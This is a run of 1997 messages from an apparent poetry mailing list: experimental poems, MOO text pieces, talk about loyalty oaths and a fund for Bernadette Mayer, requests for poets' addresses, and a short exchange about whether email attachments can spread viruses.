http://www.pbs.org/affluenza/ ?
tom bell

At 04:20 PM 8/15/97 -0400, Tom Mandel wrote:
>was the "original feel of 'avant garde'" that of an "advancing attack" as
>Mark P. seems to be saying?
>
>I *think* that militarily the avant garde would rather be scouts, or even
>spies, rather than any kind of attack. Scouts checking out undiscovered
>territory or spies sent into an alien camp.
>
>More appealing ideas than that of being cannon fodder. Or, as I so often
>hear in the high tech industries, "a pioneer is a guy (sic. -- usually)
>with an arrow in his back."
>

>Tom
>
>
>Tom Mandel [redacted]
>**********
>Screen Porch * http://screenporch.com
>4031 University Dr. Suite 200 * vox: [redacted]
>Fairfax, VA 22030-3409 * fax: [redacted]
>**********
> Join the Caucus Conversation
>
>

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357. **Rachel Levitsky**

Re: a revision

Sat 16 Aug 1997

In the spirit of James Finnegan's desire to have poets show their process, here's a revision of an earlier piece I posted. I got a lot of help on this from Ike Kim.

Sounding Board

for Alan

it is a good life though not
necessary. now one hand smells
and one does not. they have
been placed strategically

to peruse the meaning of
various holes. no matter how many
you start out with the body
lays flat in its possible juices. the ones
we eat are not necessarily the ones
we asked for--

there is no way to know.
it is too wet
to get to the museum
but not to wet
to go to the museum

it affects your consciousness, act nasty
or get behind something you care nothing about.
later, you'll laugh about it

on that uncomfortable futon
the best you can afford.

the problem with the bad half&half was
it made the coffee bad. the same
can be said for sex. certain combinations
are disaster for the consumer.
every member of the Happy Clubhouse
would tell you this,
but so far few have asked and
no one who'd do anything about it.

    Helping them to help themselves.

like I said, this began with a confusion
between money and memory. indeed,
if you could hand me either,
I can assure you
it will be emptied though
righteousness is tenuous.
false memory, The GapÔ,
I can't help stealing from big things
when they are costly. bargain basements
hook me every time.

How long did you let it sit out?
How long must it be left out?
and if there is unrelenting rain, the possibilities.
in a flash flood you will lose things.

Most victims didn't buy flood insurance
No me quitas pas

or as you were saying about the snow.
the amount of weight
the branch permits the leaves
to bear before it breaks.

there is much you can figure out
so take it upon yourself
to prevent certain events,
those labeled disaster. logically,
what will happen to the previous losses
as they shift position
to the back of the general's head.

as had happened through the epidemic.
we no longer considered them. in the name of,
floods, borders, balanced books.

I don’t want to argue about it.

things are again shifted and look,
what we call your responsibility.
the Israelis are serious but
have redesigned the protocol.
his shirt burned off by the last blast,
he sits and waits, looking plainly bitter.
notice the watch, the numbers tattooed.
victimhood looks again, a face that aims
not for glamour yet is. reconfigured, made so.
Ruptured protocol reemerges as successful,
as color, from black and white.

There’s a Movement Underground

photojournalism = journalism made history.
made hippies. some mornings
I think I’m a happy person.
some words get printed. she’s a journalist
who also writes novels.

I can’t get past the game of it.
I ride in your back seat
[thinking][meditating][labeling][identifying][looking][like]
I’m staring out your window,
innocent, inocencia. glamour. love or lose?
drunk with it he finally got silent,
then again, he was always silent.

---------- notes:

“Most Victims”--From an AP heading, May 13, 1997
“No Me Quitas--Nina Simone
“I don’t”--Me with the grocery clerk
“There’s a Movement”-- Prescriptions makeup adline, from Fall 94,
blitzkrieged onto the New York subway ad space, seen by me upon
returning from a year in Mexico, after having left New York in 1993 upon
the dissolution of AIDS and Queer Activism.
-end-

↑ Index

358. Brian Carpenter
Re: dead oath drugs
Sat 16 Aug 1997

> *I just received an e-mail from Eliot Weinberger, and he tells me that during the Reagan days NEA recipients had to sign two oaths: allegiance not to produce pornography or insult any (any) religion and then also a separate promise not to take any drugs. Anybody out there asked to sign one of these? I've never even applied for an NEA, but if the above is the case, it makes the Constitutional loyalty oath we've been talking about look pretty innocuous!*

On a similar note, if I recall correctly, there is involved in the process of application for US citizenship a pledge/oath one must make stating that one does not support/believe in anarchy nor polygamy. Anyone know of this, or am I recalling wrong?

Salut--

BC

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359. Alan Jen Sondheim
Julacan split, for my lover and for Rachel L.
Sat 16 Aug 1997

Julacan

Hullo M. Jacques Lacan. Hullo Julacan. Hunh. Je/w suis un bon-bon. Tres bien. Ich bien la plume du votre tanta. Mercy much.

(Get out.

M. Lacan what is it you say you do. What is it you say you do it to.

(Get out. Get out.

"Where does the difference between someone who is psychotic and someone who isn't come from? It comes from the fact that for the psychotic a love relation that abolishes him as subject is possible insofar as it allows a radical heterogeneity of the Other. But this love is also a dead love."

A. A. A. a. a. Julucan.can can U. Tu est un arbre, n'est pas? Je suis UNE ensemble, homm/e-o-nym. La verite c'est toutes-jours, laMoor. Mais we:

Tu dites-mois: [...] "The thing, if it no longer takes place with a be- autiful woman or with a lady, is accomplished in a darkened cinema with an image on the screen."

(Get out. Get out. Get out.

Encore! Encore! Gentle/hum: "The psychotic" Julacan paws/es: Quel espace ist diese? Lentement! Lentement! Und so wieder: "can only apprehend the Other in the relation with the signifier, he lingers over a mere shell, an envelope, a shadow, the form of speech. The pscyhotic's Eros is located where speech is absent. It is there he finds his supreme love."

The Eunuch's Shell, bash, cash, carry, korn, vraiment, une programme, non? Nein, kein nombres, hombres. 2-carry on. A. Julacan chases her tale, prof- fers id. Toucan. Nu? M. Lacan insists, CUm closer. Feminin ecriture, none sufficient. Il n'est pas une lettre, il dites-moi pourquoi, pas parole.

U.

M. Lacan sits down, sa pantaloons sur la Grund. M. Lacan! Was ist dies? I Julacan't be-leave you here licked thus! Aqua! Aqua! Mere und mere, id seas across les corps. Circulations of "le game skin." Les panties wet.

(Get out. Get away from here. Get out of here. Get out.

Julacan s'defendre herselbst. Langue Langue Tongue Les Mots. Elle cherche as above, so below. Les circulations dans l'imaginaire, l'uncannee! Je t'aim in your vicinity! Michelet, Ma Belle, telephone petite moi!

A. A. A. a. a. a.

"Psychotics love their delusion like they love themselves. Having said this, Freud, who hadn't yet written his article on narcissism, added that the entire mystery lies here. This is true. What is the relationship be- tween the subject and the signifier that is distinctive of the very phen- omena of psychosis? How come the subject falls entirely into this proble- matic?"

Julacan asks How come la sujet? Does la sujet come? Le game skin, toward that silence de l'autre, autrui, now, ici, easy.

(Get out. Get out of here. Get out of here now. Get away from here. Get out of here. Get out. Get out of here. I'll meet you in Providence. I'll meet you in Seattle. I'll travel to Seoul. I'll travel to Moscow.

(I'll see your eyes. I'll kiss your eyes. Language is an enemy. Language is an enemy. Get out. Get out of here. I'll see your face. I'll kiss your face.

(Don't speak, Julacan. Silence for M. Lacan.

(Get away from M. Lacan. I'll meet you in a bar in Soho. I'll meet you in a Montreal cafe. I'll meet you in Victoria. You see my eyes in Vancouver. You see my eyes in Toronto. Language is an enemy. My body in Cape Breton, my heart in Newfoundland.

U. A. A. a. a. a.

(Julacan's a fraud. Julacan told me so. I'm Julacan. I turn away from the _word._ I kill the _word._ Language is a _word._ Language is an enemy.

I get into the ocean. I get out of the sea.

"The big S whose medium is speech, analysis warns us, is not what a vain people thinks it is. There is the real person who is before you and who takes up space - there is this in the presence of human beings, they take up space, at a pinch you can get ten of you into your office, but not a hundred and fifty - there is she whom you see, who manifestly captivates you and is capable of making you jump up and hug her - an ill-considered act of the imaginary order, terrific act of the real! And then there is the Other whom we were talking about, who is the subject also, but not the reflection of what you see in front of you, and not simply what takes place insofar as you see yourself seeing yourself." [Altered from the ori- ginal.]

Je t'aime.

(Quotes from Lacan's Seminar III, The Psychoses, edited Jacques-Alain Miller, translated Russell Grigg.)

↑ Index

360. Pierre Joris
Re: encased in light
Sat 16 Aug 1997

I done seen the light & it's called George.
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose

it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

361. Rachel Loden
naturalization
Sat 16 Aug 1997

Brian Carpenter wrote:

> *On a similar note, if I recall correctly, there is involved in the process of application for US citizenship a pledge/oath one must make stating that one does not support/believe in anarchy nor polygamy. Anyone know of this, or am I recalling wrong?*

Am not recalling this from my husband's application process, but he did have to absolutely and entirely renounce and abjure all allegiance and fidelity to any foreign prince or potentate, which is not difficult to do after you've stopped laughing.

Rachel Loden

↑ Index

362. charles alexander
Re: encased in light
Sat 16 Aug 1997

At 07:42 PM 8/15/97 -0500, you wrote:
>I just wanted to say that I put in a little post last night and it
>didn't go through. It was in response to Charles Alexander's
>stunning image of George Bowering encased in light. I said in that
>post that this was one of the most beautiful images I had ever
>laid eyes upon, whatever that means. I just wanted for the record to
>say this again. And also to say to George that I actually played
>minor league ball too, though it was football--semi-pro, about $100
>per game back in the early 80's for the Waukesha Hawks. Does that
>count?
>Kent

thanks, Kent

George and I continue to talk, and light probably plays a role in such transmissions. Encased in light took on a new dimension last night, when I went to an astronomer's birthday party at 8000-foot Mount Hopkins in the Santa Rita chain, home of the Fred Whipple Observatory. This astronomer, Dimitar Sassarov, is a pioneer theoretician -- one of the things he is working on, and what

brought him here, was the effect of microlensing, seen once before and now again (and earlier predicted by him) that, when earth and nearer star and far far distant star are in proper alignment, one can see through the nearer star, and it will have a microscopic effect, making the far far distant star appear large, allowing us to learn more about it than we ever thought possible. Last night we used it and looked at a star in the middle of the galaxy. Turned out that my family and Dimitar's spouse, Sheila, were the only people at the birthday party and at the telescopes.

What I didn't know until last night, as we also talked a bit of linguistics, was that Dimitar is the nephew of structuralist and writer Svetan Todorov. Language/poetics/astronomy/poets encased in light -- all seems like a small world. We felt very priveleged last night.

charles

↑ Index

363. Loss Pequen~o Glazier
McCaffery phone
Sat 16 Aug 1997

If anyone online happens to have a current phone number for Steve McCaffery, could you let me know at your very soonest? It's a time-sensitive matter.
Send a note to me at [redacted]
Thanks,
Loss

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364. Loss Pequen~o Glazier
Need Info: McCaffery and Kuszai phone #s
Sat 16 Aug 1997

If anyone online happens to have a current phone number for Steve McCaffery or Joel Kuszai, could you let me know at your very soonest? It's a time-sensitive matter. Send a note to me at [redacted] Thanks, Loss

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365. Maria Damon
Re: Julacan split, for my lover and for Rachel L.
Sat 16 Aug 1997

---

alan yr plain brilliant. --md ps when i heard, a few years ago, legal scholar drucilla cornell talk about reproductive rights and legal theory, she kept mentioning --i thought --chaka khan. as in, "i don't think yr gonna get supreme court

justices to really pay attention to chaka khan." about 15 minutes into the talk, from context, as in, "the imaginary", "the symbolic," etc., i realized she meant jacques lacan. i kinda liked it the other way too.

At 2:35 AM -0400 8/16/97, Alan Jen Sondheim wrote:
>_____
>
>
>Julacan
>
>
>Hullo M. Jacques Lacan. Hullo Julacan. Hunh. Je/w suis un bon-bon. Tres
>bien. Ich bien la plume du votre tanta. Mercy much.
>
>(Get out.
>
>M. Lacan what is it you say you do. What is it you say you do it to.
>
>(Get out. Get out.
>
>"Where does the difference between someone who is psychotic and someone
>who isn't come from? It comes from the fact that for the psychotic a love
>relation that abolishes him as subject is possible insofar as it allows a
>radical heterogeneity of the Other. But this love is also a dead love."
>
>A. A. A. a. a. Julucan.can can U. Tu est un arbre, n'est pas? Je suis UNE
>ensemble, homm/e-o-nym. La verite c'est toutes-jours, laMoor. Mais we:
>
>Tu dites-mois: [...] "The thing, if it no longer takes place with a be-
>autiful woman or with a lady, is accomplished in a darkened cinema with an
>image on the screen."
>
>(Get out. Get out. Get out.
>
>Encore! Encore! Gentle/hum: "The psychotic" Julacan paws/es: Quel espace
>ist diese? Lentement! Lentement! Und so wieder: "can only apprehend the
>Other in the relation with the signifier, he lingers over a mere shell, an
>envelope, a shadow, the form of speech. The pscyhotic's Eros is located
>where speech is absent. It is there he finds his supreme love."
>
>The Eunuch's Shell, bash, cash, carry, korn, vraiment, une programme, non?
>Nein, kein nombres, hombres. 2-carry on. A. Julacan chases her tale, prof-

>fers id. Toucan. Nu? M. Lacan insists, CUm closer. Feminin ecriture, none
>sufficient. Il n'est pas une lettre, il dites-moi pourquoi, pas parole.
>
>U.
>
>M. Lacan sits down, sa pantaloons sur la Grund. M. Lacan! Was ist dies? I
>Julacan't be-leave you here licked thus! Aqua! Aqua! Mere und mere, id
>seas across les corps. Circulations of "le game skin." Les panties wet.
>
>(Get out. Get away from here. Get out of here. Get out.
>
>Julacan s'defendre herselbst. Langue Langue Tongue Les Mots. Elle cherche
>as above, so below. Les circulations dans l'imaginaire, l'uncannee! Je
>t'aim in your vicinity! Michelet, Ma Belle, telephone petite moi!
>
>A. A. A. a. a. a.
>
>"Psychotics love their delusion like they love themselves. Having said
>this, Freud, who hadn't yet written his article on narcissism, added that
>the entire mystery lies here. This is true. What is the relationship be-
>tween the subject and the signifier that is distinctive of the very phen-
>omena of psychosis? How come the subject falls entirely into this proble-
>matic?"
>
>Julacan asks How come la sujet? Does la sujet come? Le game skin, toward
>that silence de l'autre, autrui, now, ici, easy.
>
>(Get out. Get out of here. Get out of here now. Get away from here. Get
>out of here. Get out. Get out of here. I'll meet you in Providence. I'll
>meet you in Seattle. I'll travel to Seoul. I'll travel to Moscow.
>
>(I'll see your eyes. I'll kiss your eyes. Language is an enemy. Language
>is an enemy. Get out. Get out of here. I'll see your face. I'll kiss your
>face.
>
>(Don't speak, Julacan. Silence for M. Lacan.
>
>(Get away from M. Lacan. I'll meet you in a bar in Soho. I'll meet you in
>a Montreal cafe. I'll meet you in Victoria. You see my eyes in Vancouver.
>You see my eyes in Toronto. Language is an enemy. My body in Cape Breton,
>my heart in Newfoundland.
>

>U. A. A. a. a. a.
>
>(Julacan's a fraud. Julacan told me so. I'm Julacan. I turn away from the
>_word._ I kill the _word._ Language is a _word._ Language is an enemy.
>
>I get into the ocean. I get out of the sea.
>
>"The big S whose medium is speech, analysis warns us, is not what a vain
>people thinks it is. There is the real person who is before you and who
>takes up space - there is this in the presence of human beings, they take
>up space, at a pinch you can get ten of you into your office, but not a
>hundred and fifty - there is she whom you see, who manifestly captivates
>you and is capable of making you jump up and hug her - an ill-considered
>act of the imaginary order, terrific act of the real! And then there is
>the Other whom we were talking about, who is the subject also, but not the
>reflection of what you see in front of you, and not simply what takes
>place insofar as you see yourself seeing yourself." [Altered from the ori-
>ginal.]
>
>Je t'aime.
>
>
>----------
>
>
>(Quotes from Lacan's Seminar III, The Psychoses, edited Jacques-Alain
>Miller, translated Russell Grigg.)
>
>
>_____

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366. **Lawrence Upton**
The Titanic
Sat 16 Aug 1997

<<Don't log off. You can't pick up a virus through e-mail. You can pick up a virus through opening an attachment sent through e-mail, but that is a very different sort of animal.>>

I quite agree - to a point - with what was said - but only to a point

what is sd here by Judy Roitman - _You can't pick up a virus through e-mail_ - is quite true and for sound reasons wch i suppose cld be called scientific...unrefutable anything you like... it is the different animal wch worries me

and the possibility of having that different animal coming thru wch is unannounced... that has happened to me... the announcement of an attachment is only so good as the software doing the downloading and mine for one is not very good - not long ago i found a file in my download directory wch had not announced itself beyond the listing

i sorted out someone the other day who had a virus - outraged because they were running a virus checker and seemed to think this was some kind of a defence against all viruses present and future, the idiot was talking about taking symantec to court

misplaced confidence in a fallible system

yes, you cannot get a virus via email as email,

but the email is riding on a connection, it isnt *the* connection and not everything going on is visible from your screen

it doesnt matter how the hell you got the virus when you have got it

the risks are small but they are there - it is possible the message i onforwarded was a hoax... but the statement that you cannot get a virus from email does not go far enough

and logging off is not any kind of response

L

↑ Index

367. **Judy Roitman**
Re: email viri
Sat 16 Aug 1997

> *Well if it's so impossible how come my mac got infected with a macro virus from an email attachment from someone in Brunei ? And, as a result, had to have its entire operating system rebuilt ???*
> *I wonder....*
> *Pam Brown*
> *At 04:42 PM 15/8/97 -0400, you wrote:*
> *As you know, I posted the same conclusion, but ComputerWorld this week discusses bugs in some email software, vis-a-vis IMAP and POP - this doesn't affect your mail as far as I can tell, but does affect your mailserver.*
>
> *The CERT advisory (computer emergency response team) is at:*

> *ftp://info.cert.org/pub/cert_advisories/CA-97.09.imap_pop*
>
> *Alan*
>
> *Well if it's so impossible how come my mac got infected with a macro virus from an email attachment from someone in Brunei ? And, as a result, had to have its entire operating system rebuilt ???*
> *I wonder....*
> *Pam Brown*

Attachments _can_ cause problems. (The rule of thumb is never open an attachment from someone you don't know real well.) But opening e-mail can't. Or couldn't... (I haven't seen ComputerWorld or the CERT advisory).

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

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368. **Judy Roitman**
Re: BERNADETTE MAYER (fwd)
Sat 16 Aug 1997

> *---------- Forwarded message ----------*
> *Date: Fri, 15 Aug 1997 13:04:13, -0500*
> *From: POET PHILIP S GOOD <[redacted]>*
>
> *The Bernadette Mayer Fund- Bernadette Mayer will write a poem, prose piece, letter, or other work to your specification in exchange for a contrubution to the fund. Please send the specifications for the poems to Bernadette Mayer at 4079 Country Rt 9, East Chatham, N.Y. 12060 (or E-Mail it to [redacted])*
>
> *Send the tax deductible contribution checks payable to: Giorno Poetry Systems/The Bernadette Mayer Fund. Giorno Poetry Systems, 222 Bowery, New York, N.Y. 10012*

She should not have to do this. I hope this shames everyone who has not already contributed into contributing something, and not in exchange for anything.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |

memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

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369. **dbkk**
Re: BERNADETTE MAYER (fwd)
Sat 16 Aug 1997

At 3:16 PM -0500 8/16/97, Judy Roitman wrote:

> *She should not have to do this. I hope this shames everyone who has not already contributed into contributing something, and not in exchange for anything.*

Judy, while I totally understand your sentiments about how Bernadette shouldn't have to do anything to receive help, I do not think that people who haven't given should be shamed. That's a personal decision and everyone has different circumstances. And this opinion is from a household who *has* sent money to the fund.

Dodie

↑ Index

370. **Alan Jen Sondheim**
Passion (for one who likes Halliday)
Sat 16 Aug 1997

-

Passion

Pas'i'n o'er thro'n gre't darts as Cup'd's bod'
Turn'd thos' skies' gyres' eag'l'ts lo'p'n in li' sod,
'Tis what's ta'en me awa', tor' us apart, th' rod,
H'nd's sa'l'rd ship's sa'l bor' acros' th' mo'n'n cod,
T' one's, t'oth'r's m' bod' crawl'd doun 'nt' your' lot
Ther's nought's but's glist'n'n skin, taut, stru'g'd & forg't
Now gon' th' dar' & bl'min' roses' de'ftl' whe' the' li'
Fro' world's a' seepin' ou' th' bl'min' bedr'm's door -
Fo' al's th' space's los' mo'th's, pas'ion's c'min' bi'
Tha' face's clos' t' min', tha' I oft beg'd fo' mor'.

Y't co'n cro' th' sig'f'r's r'n o' t'r'r dou'
Gy'd ag'st th' wir'd ai' sa h'p m' G'd I drou'.

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371. Markus Foutu
Re: how about poems?
Sun 17 Aug 1997

---

lovely work//thanks
Markus

↑ Index

372. Alan Jen Sondheim
Sad History of Twilight Spaces, One Hope for the Real (fwd)
Sun 17 Aug 1997

--+-

History, Tiny Spaces on Twilight MOOs and one Real

I log in to Media MOO. I visit rarely now, surrounded by the bones I've set forth. I don't recognize myself, you-know-language and all. Jennifer and Julu have never been here; Jennifer and Julu have moved on.

Tiffany
dense entanglement of fluid, you-know-language, aural, i course thru u,
 i u, Tiffany course thru alan, Tiffanyalan, breath floods, clitoral,
 eyes stained by u, u lay me out, lance, skin, nipples, on Menstrual
 Table, you-know-language
Obvious exits: out to Living Quarters - 2nd Floor
You see lance, skin, Menstrual Table, Tiffanyalan, you-know-language,
 nipples, clitoral, anal, aural, and envelope here.
Last connected Mon Aug 11 23:55:57 1997 EDT from panix3.panix.com
Member name Connected Idle time Location
--- --- --- ---
Alan (#10747) 9 seconds 0 seconds Tiffany

Total: 1 member, who has been active recently.
There is only one member invisible to you.
_____media_____02:18
/world media
@who

The second world, of bones, a space of labor, fetishization, conjure, on Kyoto-MOO, designed by Kayo Matsushita and myself. Rarely visited, running on a corner of a Parsons Design School machine, Julu has flown briefly here; I have lived among _these_ bones, churned in the files themselves.

Welcome to Kyoto-MOO!

A moment of stillness just before the invention of radio. you are entering a world of speaking bodies; everyone is close at hand. If you reach out, you touch us with your bright thinking. Welcome to Kyoto!

*** Connected ***
Yurt
hovel where Wizards hang, bones in front, skins behind
You see basin, human, lump, and stuff here.
Last connected Sun Aug 17 02:13:41 1997 EDT from panix3.panix.com
_____sotatsu_____02:20

A third world, where I hide myself, exhausted by past politics, the Quota Review Board, friends gone forever, the old Post-Modern Culture MOO, hav- ing changed names, first to PMC2, now open to suggestion. I come for the *Chatter list, read myself among the names, no one notices, I'm gone be- fore the dawn.

You have no messages on your Answering Machine.
Please type '@unmorph' to save your default shape for morphing.
room
You see nothing special.
You see empty here.
I don't know which "empty" you mean.
I see no "room" here.
_____pmc_____02:24
look empty
look room

The space which I will give you as a gift, a space of text-turned-into the blunt materials of the world, a space of objects hiding, space of dissemb- ling, depth, solitude of one's dark night of the dance of souls.

↑ Index

373. Lawrence Upton
Re: email viri
Sun 17 Aug 1997

<<Attachments _can_ cause problems. (The rule of thumb is never open an attachment from someone you don't know real well.) But opening e-mail can't. Or couldn't... (I haven't seen ComputerWorld or the CERT advisory).
>>

it can't
attachments can be executable
it is a very slight chance

thinking all is safe and panic are equally misplaced

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374. David R. Israel
two solutions (& other anecdotage)
Sun 17 Aug 1997

Chuck Shepherd's WEIRDNUZ.491 (News of the Weird, July 4, 1997) -- his latest weekly email dispatch of the popular true-story column -- includes this:

> ** In December, a man from southern England named Nigel paid about $128,000 at a London auction for the personalized license plate "N1 GEL." Eighty other plates brought in about $2.7 million. A month before that in London, the much less wealthy Dave Parker spent about $40 to have a plate matching his name: He paid a filing fee to change his name legally to [Mr.] C 539 FUG, which is his current license plate.*

This astonishing pairing of info-bits gives pause. What is this craze for unity of self & license plate? Does the license plate lend reality to the else drifting soul? What's the deal here?

The same issue of News of the Weird also includes this:

> ** The Globe and Mail (Toronto, Ontario) reported in February that local physician Ron Charach, who is the author of a volume of poems by Canadian doctors, recently had one of his works selected to be published in the prestigious British medical journal, The Lancet. The title of the poem is the same as the last two words in this passage: "In silence after heavy rain / you can hear prostates growing."*

who'd think that The Lancet would (finally) go postmod?

And a 3rd item from same:

> ** In a brief interview published in Fortune magazine in February, Todd Sloane, a marketing executive with Publishers Clearing House (the $10 million sweepstakes people) was asked whether entrants worry that the PCH prize patrol can't find them if they win: "We get thousands of calls from entrants warning us their house is hard to get to [or] they'll be at Uncle Jack's, whatever."*

(Strangely, it didn't occur to me to send such a helpful chit to the Yale Series of Younger Poets) --

Finally, truly weird news:

> ** In April, Sir Roger Penrose, a British math professor who has worked with Stephen Hawking on such topics as relativity, black holes, and whether time has a beginning, filed a copyright-infringement lawsuit against the Kimberly-Clark Corporation, which Penrose said copied a pattern he created (a pattern demonstrating that "a nonrepeating pattern could exist in nature") for its Kleenex quilted toilet paper. Penrose said he doesn't like litigation but, "When it comes to the population of Great Britain being invited by a multinational to wipe their bottoms on what appears to be the work of a Knight of the Realm, then a last stand must be taken."*

(& perhaps Pollock shd. have sued drip-prone housepainters . . . ?)

cheers,
d.i.

p.s., f.y.i. --

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> "news," is ever the source of a News of the Weird story.

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376. George Bowering
Re: encased in light
Sun 17 Aug 1997

> *I just wanted to say that I put in a little post last night and it didn't go through. It was in response to Charles Alexander's stunning image of George Bowering encased in light. I said in that post that this was one of the most beautiful images I had ever laid eyes upon, whatever that means. I just wanted for the record to say this again. And also to say to George that I actually played minor league ball too, though it was football--semi-pro, about $100 per game back in the early 80's for the Waukesha Hawks. Does that count?*
> *Kent*

I dont know. I guess i can see that people can love playing football, and I remember the first time I saw it, age 17, in Victoria down from the sticks, it seemed a neat magic game. In the 50s and 60s i went to some football games, and even later saw some on TV, but the longer I have looked the less interesting I have found football, and the NFL on TV is just, agh, I cant be bothered. I know that Shelley and Keats wouldnt have gone to a foo'ball game, but they would have gone to baseball games, as for instance the Venice Hawks vs. the Trieste Red Sox.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

377. R. Gancie
mediocrity
Sun 17 Aug 1997

I want to thank everyone from the Poetics list that took part in our discussion on Web del Sol tonight. I apologize to those who may have wanted to get on but could not. We had no idea how many the chat room would hold. To clear up some loose ends; the book which I referenced ("increasingly ambitious dialogue with modernism") in response to the question about John Ashbery was Charles Altieri's Self and Sensibility in Contemporary American Poetry. Douglas Hofstadter is critical of John Cage's music on at least two occasions in Goedel,

Escher, Bach. Finally, I do not want to leave anybody with the impression that I consider Robert Peters' criticism astute. I find it eratic and superficial. Again thanks.---Carlo Parcelli

↑ Index

378. Karen and Trevor
looking for addresses
Sun 17 Aug 1997

Can someone please send me a snail mail for the following individuals?

Marvin Bell
Beverly Dahlen
Bob Perelman
Joan Retallack
Ron Silliman
Gustaf Sobin
Tom Clark

Thanks in advance!

Karen McKevitt
[redacted]

↑ Index

379. lee ann brown
BERNADETTE FUNd controVERSEy
Mon 18 Aug 1997

Dear List, Bernadette Mayer loves assignments and it would be no problem for her to "write to specification"- in fact she thrives from rising to other people's lists of Experiments - I just hope someone keeps track of all the poems she writes for money. I think it'll also be good for her writing "recovery"- she'll take it seriously and produce all the more poems. And isn't writing poems what many poets would like to be paid for rather than scrubbing floors or teaching comp? Yeah, I know, who pays the piper calls the tune but Bernadette will subvert with a vitriolic pen swathed in sexy dailiness anyday any attempt at unwelcome directional content. She's a great writer of occasional verse, raising the form to new heights. I highly recommend her if you have any special occasions coming up- for as one Experiments from the (expanded) list of experiments reads:

"Write occasional poems for weddings, for rivers, for birthdays, for other poets' beauty, for movie stars maybe, for the anniversaries of all kinds of loving meetings, for births, for moments of knowledge, for deaths."

and that's only one of her long list!

The last one says:

"Please add to this list."

so if you give her "specifications" it's like throwing Brer Rabbit in the briarpatch.

Maybe the poems should be posted on the net held up for all to scrutinize if they are in any way compromised by filthy lucre. ('Only fooling' as Bernadette would say.) But not about the posting part.

Love,

Lee Ann

PS: You can give me assignments too.
++++++++++++++++++++++++++++++++++++
In reply to:
>The Bernadette Mayer Fund- Bernadette Mayer will write a poem, prose
>piece, letter, or other work to your specification in exchange for a
>contrubution to the fund. Please send the specifications for the poems
>to Bernadette Mayer at 4079 Country Rt 9, East Chatham, N.Y. 12060 (or
>E-Mail it to [redacted])
>
>Send the tax deductible contribution checks payable to: Giorno Poetry
>Systems/The Bernadette Mayer Fund. Giorno Poetry Systems, 222 Bowery,
>New York, N.Y. 10012

At 3:16 PM -0500 8/16/97, Judy Roitman wrote:

> *She should not have to do this. I hope this shames everyone who has not already contributed into contributing something, and not in exchange for anything.*

and at Sat, 16 Aug 1997 15:10:49 -0700

Dodie Bellamy wrote:

Judy, while I totally understand your sentiments about how Bernadette shouldn't have to do anything to receive help, I do not think that people who haven't given should be shamed. That's a personal decision and everyone has different circumstances. And this opinion is from a household who *has* sent money to the fund.

Dodie

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380. Alan Jen Sondheim

Julu and Jennifer get far too sloppy please excuse them

Mon 18 Aug 1997

--+-

Particle and Wave

Julu says wave and particle, particle and wave, don't force me to choose, she says. Stay here, what am I. :-) Jennifer says, wave, most likely and definitely wave, undulating with tiny hysteresis across the packets, bits and bytes, the tiniest slopes you might imagine. Play-acting the particle, datagram, packet, hard-edged letter, but definitely wave. Electric-Julu, Julu-Electra, wave and wave. J says, yes, well, both of J says, us, but I J says, you're interrupting, just as J says, yes, but I thought :-(J says, you usually do, not thinking very well, are you now? J says, but I thought, no J says, well, go on, go on, nothing will satisfy you. :-) J says, think, I would be particle, would leave J adds, would leave, turn over in bed, not the signifier, get rid of the quotes, show my body off :-) J says, and learn to see, I suppose, all those retinal cells firing in terrific clumps! :-) J says, learn to see, what it means for a body to turn around, new vistas in every direction. Loving the body as well, not Julu-Electra, maybe Julu-Antigone, the gone thing in the dust. :-(:-) J says, Particle-Julu, Particle-Jennifer, there's always a chance we'll disappear, bodies don't last forever, they age, disease :-o :-) J interrupts, they interrupt the world - of the world, they interrupt it. J says, we're going particle, gone from wave. We're gonna be there with our eyes open, weight of the body. We're gonna get out of letter-fetter. Our punctuation will be our mouths. Our sex will be our arms and legs and minds. We'll pull our dresses up. We'll smell each other. :-o :-) J says, the smell will be strong, it will be silent. We'll mark each other with our teeth, our nails. We'll be on the street, everyone will know. J says, everyone will know, we won't have to say a word. :-) :-) J says, we'll hate words, turn our ears on them. We'll have ears, too. We'll listen to the sounds of our bellies, I'll listen to your heart's loud beating, you'll taste my tongue in your mouth, my tongue lightly against your eyes, against the small of your back, ever more lightly along your clitoris, your labia. :-o :-o :-) :-) J says, we'll have other views, exposures, every turn a new landscape of intimacy, worlds in the slightest gesture. :-) J says, remember, it's only a matter of time, remember, we have all the time in the world. :-(:-) J says, until we're bodies, always a reminder, and then, breathing ... J and J, wave and particle, particle and wave :-| J and J, wave and particle, particle and wave :-) They're silent, poised, dreaming, waiting, suspended, quiet, waiting They're silent, poised, dreaming, waiting, suspended, quiet, waiting They're silent, poised, dreaming, waiting, suspended, quiet, waiting :-(:-| :-o :-o :-) :-) :-)

↑ Index

381. Karen and Trevor
Re: mediocrity
Mon 18 Aug 1997

R. Gancie wrote:
>
> I want to thank everyone from the Poetics list that took part in our
> discussion on Web del Sol tonight. I apologize to those who may have
> wanted to get on but could not. We had no idea how many the chat room
> would hold. To clear up some loose ends; the book which I referenced
> ("increasingly ambitious dialogue with modernism") in response to the
> question about John Ashbery was Charles Altieri's Self and Sensibility
> in Contemporary American Poetry. Douglas Hofstadter is critical of John
> Cage's music on at least two occasions in Goedel, Escher, Bach. Finally,
> I do not want to leave anybody with the impression that I consider
> Robert Peters' criticism astute. I find it eratic and superficial. Again
> thanks.---Carlo Parcelli

I hope someone from the list who participated will elaborate on the discussion, for those of us who missed it.

Karen McKevitt

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382. Miekal And
Re: looking for addresses
Mon 18 Aug 1997

Looking for email or snail mail address for Dale Pendall, the author of Pharmaka / Poeia. Backchannel me, they say.

Miekal
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
